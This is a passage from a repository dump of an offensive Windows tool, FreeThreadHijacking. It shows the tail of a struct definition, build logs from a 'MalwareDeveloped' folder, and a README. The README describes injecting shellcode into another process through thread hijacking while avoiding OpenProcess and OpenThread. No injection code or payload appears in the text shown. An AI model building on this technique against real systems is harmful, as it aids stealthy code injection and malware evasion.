HighWaterNumberOfHandles; 69 | ULONG HighWaterPagedPoolUsage; 70 | ULONG HighWaterNonPagedPoolUsage; 71 | ULONG HighWaterNamePoolUsage; 72 | ULONG HighWaterHandleTableUsage; 73 | ULONG InvalidAttributes; 74 | GENERIC_MAPPING GenericMapping; 75 | ULONG ValidAccess; 76 | BOOLEAN SecurityRequired; 77 | BOOLEAN MaintainHandleCount; 78 | USHORT MaintainTypeList; 79 | POOL_TYPE PoolType; 80 | ULONG PagedPoolUsage; 81 | ULONG NonPagedPoolUsage; 82 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; 83 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/Cl.items.tlog: -------------------------------------------------------------------------------- 1 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\FreeThreadHijacking.cpp;V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\x64\Debug\FreeThreadHijacking.obj 2 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/FreeThreadHijacking.lastbuildstate: -------------------------------------------------------------------------------- 1 | PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.37.32822:TargetPlatformVersion=10.0.22621.0:VcpkgTriplet=x64-windows: 2 | Debug|x64|V:\MalwareDeveloped\FreeThreadHijacking\| 3 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThre.5cff1888.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.exe.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | V:\MalwareDeveloped\FreeThreadHijacking\x64\Debug\FreeThreadHijacking.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.ilk -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.log: -------------------------------------------------------------------------------- 1 |  FreeThreadHijacking.cpp 2 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(65,18): warning C4101: 'status': unreferenced local variable 3 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(67,15): warning C4101: 'objectNameInfo': unreferenced local variable 4 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(69,24): warning C4101: 'objectName': unreferenced local variable 5 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(115,18): warning C4101: 'status': unreferenced local variable 6 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(117,15): warning C4101: 'objectNameInfo': unreferenced local variable 7 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(119,24): warning C4101: 'objectName': unreferenced local variable 8 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(165,18): warning C4101: 'status': unreferenced local variable 9 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(167,15): warning C4101: 'objectNameInfo': unreferenced local variable 10 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(169,24): warning C4101: 'objectName': unreferenced local variable 11 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(215,18): warning C4101: 'status': unreferenced local variable 12 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(217,15): warning C4101: 'objectNameInfo': unreferenced local variable 13 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(219,24): warning C4101: 'objectName': unreferenced local variable 14 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(265,18): warning C4101: 'status': unreferenced local variable 15 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(267,15): warning C4101: 'objectNameInfo': unreferenced local variable 16 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\MapFreeMemoryObjects.h(269,24): warning C4101: 'objectName': unreferenced local variable 17 | V:\MalwareDeveloped\FreeThreadHijacking\FreeThreadHijacking\FreeThreadHijacking.cpp(51): warning C4715: 'getHandleProcessByPID': not all control paths return a value 18 | FreeThreadHijacking.vcxproj -> V:\MalwareDeveloped\FreeThreadHijacking\x64\Debug\FreeThreadHijacking.exe 19 | 'pwsh.exe' is not recognized as an internal or external command, 20 | operable program or batch file. 21 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.obj -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/vc143.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/vc143.idb -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/vc143.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/FreeThreadHijacking/x64/Debug/vc143.pdb -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/x64/Debug/vcpkg.applocal.log: -------------------------------------------------------------------------------- 1 |  2 | -------------------------------------------------------------------------------- /FreeThreadHijacking/x64/Debug/FreeThreadHijacking.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.exe -------------------------------------------------------------------------------- /FreeThreadHijacking/x64/Debug/FreeThreadHijacking.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FreeThreadHijacking/16efbf3ca71eabc5e366ad1394e468aa7883ed8d/FreeThreadHijacking/x64/Debug/FreeThreadHijacking.pdb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FreeThreadHijacking 2 | Perform Thread Hijacking Shellcode Injection without OpenProcess and OpenThread mapping all the free handles in memory 3 | 4 | Modify the final condition if you change the shellcode because this shellcode was executing a calculator app, and at the end we check if a calculator it's created, if you don't do this, your shellcode might be execute a lot of times: 5 | 6 | ![image](https://github.com/user-attachments/assets/23b87786-e2df-46eb-8ad5-1eb0eb061533) 7 | --------------------------------------------------------------------------------